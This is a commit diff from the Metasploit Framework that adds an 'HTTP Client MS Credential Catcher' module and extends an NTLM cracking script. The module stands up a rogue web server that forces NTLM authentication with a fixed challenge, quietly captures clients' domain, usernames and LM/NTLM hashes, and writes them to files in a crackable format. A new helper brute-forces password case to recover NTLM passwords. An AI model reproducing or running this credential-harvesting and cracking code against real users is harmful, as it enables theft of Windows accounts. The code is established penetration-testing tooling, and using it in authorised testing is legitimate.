Lots of shiny new NTLM goodness from Ryan Linn
git-svn-id: file:///home/svn/framework3/trunk@6958 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
7d866442f0
commit
b14a4ddf0b
|
@ -78,7 +78,8 @@ class Module < Base
|
|||
|
||||
def compatible_payloads(token, mname)
|
||||
authenticate(token)
|
||||
m = @framework.exploits[mname]
|
||||
#m = @framework.exploits[mname]
|
||||
m = _find_module('exploit',mname)
|
||||
if(not m)
|
||||
raise ::XMLRPC::FaultException.new(404, "unknown module")
|
||||
end
|
||||
|
|
|
@ -75,6 +75,17 @@ begin
|
|||
res
|
||||
end
|
||||
|
||||
def self.lmchal2ntchal(pass, ntlm, challenge)
|
||||
res = nil
|
||||
Rex::Text.permute_case( pass.upcase ).each do |word|
|
||||
if(ntlm_md4(word,challenge) == ntlm)
|
||||
res = word
|
||||
break
|
||||
end
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
rescue LoadError
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,177 @@
|
|||
require 'msf/core'
|
||||
require 'rex/proto/smb/utils'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
||||
|
||||
UTILS = Rex::Proto::SMB::Utils
|
||||
CONST = Rex::Proto::SMB::Constants
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HTTP Client MS Credential Catcher',
|
||||
'Version' => '$$',
|
||||
'Description' => %q{
|
||||
This module attempts to quietly catch NTLM/LM Challenge hashes.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ryan Linn <sussurro[at]happypacket.net>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'WebServer' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'WebServer'
|
||||
],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options([
|
||||
OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
|
||||
OptString.new('PWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ])
|
||||
|
||||
], self.class)
|
||||
register_advanced_options([
|
||||
OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]),
|
||||
OptString.new('SERVER', [ false, "The default server to use for NTLM authentication", "SERVER"]),
|
||||
OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]),
|
||||
OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]),
|
||||
OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false])
|
||||
], self.class)
|
||||
|
||||
@challenge = "\x11\x22\x33\x44\x55\x66\x77\x88"
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}")
|
||||
case request.uri
|
||||
when %r{^#{datastore['URIPATH']}.*sessid=}
|
||||
send_not_found(cli)
|
||||
when self.get_resource
|
||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||
if(!request.headers['Authorization'])
|
||||
response = create_response(401)
|
||||
response.headers['WWW-Authenticate'] = "NTLM"
|
||||
cli.send_response(response)
|
||||
else
|
||||
method,hash = request.headers['Authorization'].split(/\s+/,2)
|
||||
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
|
||||
if(method != "NTLM")
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
|
||||
response = handle_auth(cli,hash)
|
||||
cli.send_response(response)
|
||||
end
|
||||
else
|
||||
send_not_found(cli)
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
exploit()
|
||||
end
|
||||
|
||||
def handle_auth(cli,hash)
|
||||
#authorization string is base64 encoded message
|
||||
message = Rex::Text.decode_base64(hash)
|
||||
|
||||
if(message[8] == 0x01)
|
||||
reqflags = message[12..15]
|
||||
reqflags = Integer("0x" + reqflags.unpack("h8").to_s.reverse)
|
||||
domain = datastore['DOMAIN']
|
||||
server = datastore['SERVER']
|
||||
dnsname = datastore['DNSNAME']
|
||||
dnsdomain = datastore['DNSDOMAIN']
|
||||
|
||||
if(!datastore['FORCEDEFAULT'])
|
||||
dom,ws = parse_type1_domain(message)
|
||||
if(dom)
|
||||
domain = dom
|
||||
end
|
||||
if(ws)
|
||||
server = ws
|
||||
end
|
||||
end
|
||||
|
||||
response = create_response(401)
|
||||
chalhash = UTILS.process_type1_message(hash,@challenge,domain,server,dnsname,dnsdomain)
|
||||
response.headers['WWW-Authenticate'] = "NTLM " + chalhash
|
||||
return response
|
||||
|
||||
#if the message is a type 3 message, then we have our creds
|
||||
elsif(message[8] == 0x03)
|
||||
domain,user,host,lm_hash,ntlm_hash = UTILS.process_type3_message(hash)
|
||||
print_status("#{cli.peerhost}: #{domain}\\#{user} #{lm_hash}:#{ntlm_hash} on #{host}")
|
||||
|
||||
if(datastore['LOGFILE'])
|
||||
fd = File.open(datastore['LOGFILE'], "a")
|
||||
fd.puts(
|
||||
[
|
||||
Time.now.to_s,
|
||||
cli.peerhost,
|
||||
host,
|
||||
domain ? domain : "<NULL>",
|
||||
user ? user : "<NULL>",
|
||||
lm_hash ? lm_hash : "<NULL>",
|
||||
ntlm_hash ? ntlm_hash : "<NULL>"
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
end
|
||||
|
||||
if(datastore['PWFILE'] and user and lm_hash)
|
||||
fd = File.open(datastore['PWFILE'], "a+")
|
||||
fd.puts(
|
||||
[
|
||||
user,
|
||||
domain ? domain : "NULL",
|
||||
@challenge.unpack("H*")[0],
|
||||
lm_hash ? lm_hash : "0" * 32,
|
||||
ntlm_hash ? ntlm_hash : "0" * 32
|
||||
].join(":").gsub(/\n/, "\\n")
|
||||
)
|
||||
fd.close
|
||||
|
||||
end
|
||||
response = create_response(200)
|
||||
return response
|
||||
else
|
||||
response = create_response(200)
|
||||
return response
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def parse_type1_domain(message)
|
||||
domain = nil
|
||||
workstation = nil
|
||||
|
||||
reqflags = message[12..15]
|
||||
reqflags = Integer("0x" + reqflags.unpack("h8").to_s.reverse)
|
||||
|
||||
if((reqflags & CONST::NEGOTIATE_DOMAIN) == CONST::NEGOTIATE_DOMAIN)
|
||||
dom_len = message[16,2].unpack('v')[0].to_i
|
||||
dom_off = message[20,2].unpack('v')[0].to_i
|
||||
domain = message[dom_off,dom_len].to_s
|
||||
end
|
||||
if((reqflags & CONST::NEGOTIATE_WORKSTATION) == CONST::NEGOTIATE_WORKSTATION)
|
||||
wor_len = message[24,2].unpack('v')[0].to_i
|
||||
wor_off = message[28,2].unpack('v')[0].to_i
|
||||
workstation = message[wor_off,wor_len].to_s
|
||||
end
|
||||
return domain,workstation
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -16,10 +16,14 @@ end
|
|||
|
||||
|
||||
ntlm = pass = nil
|
||||
chal = false
|
||||
@challenge = "\x11\x22\x33\x44\x55\x66\x77\x88"
|
||||
|
||||
|
||||
$args = Rex::Parser::Arguments.new(
|
||||
"-n" => [ true, "The encypted NTLM hash to crack" ],
|
||||
"-p" => [ true, "The decrypted LANMAN password" ],
|
||||
"-c" => [ false, "Use NTLM Challenge hashes" ],
|
||||
"-h" => [ false, "Display this help information" ])
|
||||
|
||||
|
||||
|
@ -29,6 +33,8 @@ $args.parse(ARGV) { |opt, idx, val|
|
|||
ntlm = val
|
||||
when "-p"
|
||||
pass = val
|
||||
when "-c"
|
||||
chal = true
|
||||
when "-h"
|
||||
usage
|
||||
else
|
||||
|
@ -40,9 +46,16 @@ if (not (ntlm and pass))
|
|||
usage
|
||||
end
|
||||
|
||||
if(ntlm.length != 32)
|
||||
$stderr.puts "[*] NTLM should be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
if (chal)
|
||||
if(ntlm.length != 48)
|
||||
$stderr.puts "[*] NTLM Challenge should be exactly 48 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
else
|
||||
if(ntlm.length != 32)
|
||||
$stderr.puts "[*] NTLM should be exactly 32 bytes of hexadecimal"
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
if(pass.length > 14)
|
||||
|
@ -50,7 +63,11 @@ if(pass.length > 14)
|
|||
exit
|
||||
end
|
||||
|
||||
done = Rex::Proto::SMB::Crypt.lm2nt(pass, [ntlm].pack("H*"))
|
||||
if(chal)
|
||||
done = Rex::Proto::SMB::Crypt.lmchal2ntchal(pass, [ntlm].pack("H*"),@challenge)
|
||||
else
|
||||
done = Rex::Proto::SMB::Crypt.lm2nt(pass, [ntlm].pack("H*"))
|
||||
end
|
||||
|
||||
if(done)
|
||||
puts "[*] Cracked: LANMAN=#{pass} NTLM=#{done}"
|
||||
|
|
Loading…
Reference in New Issue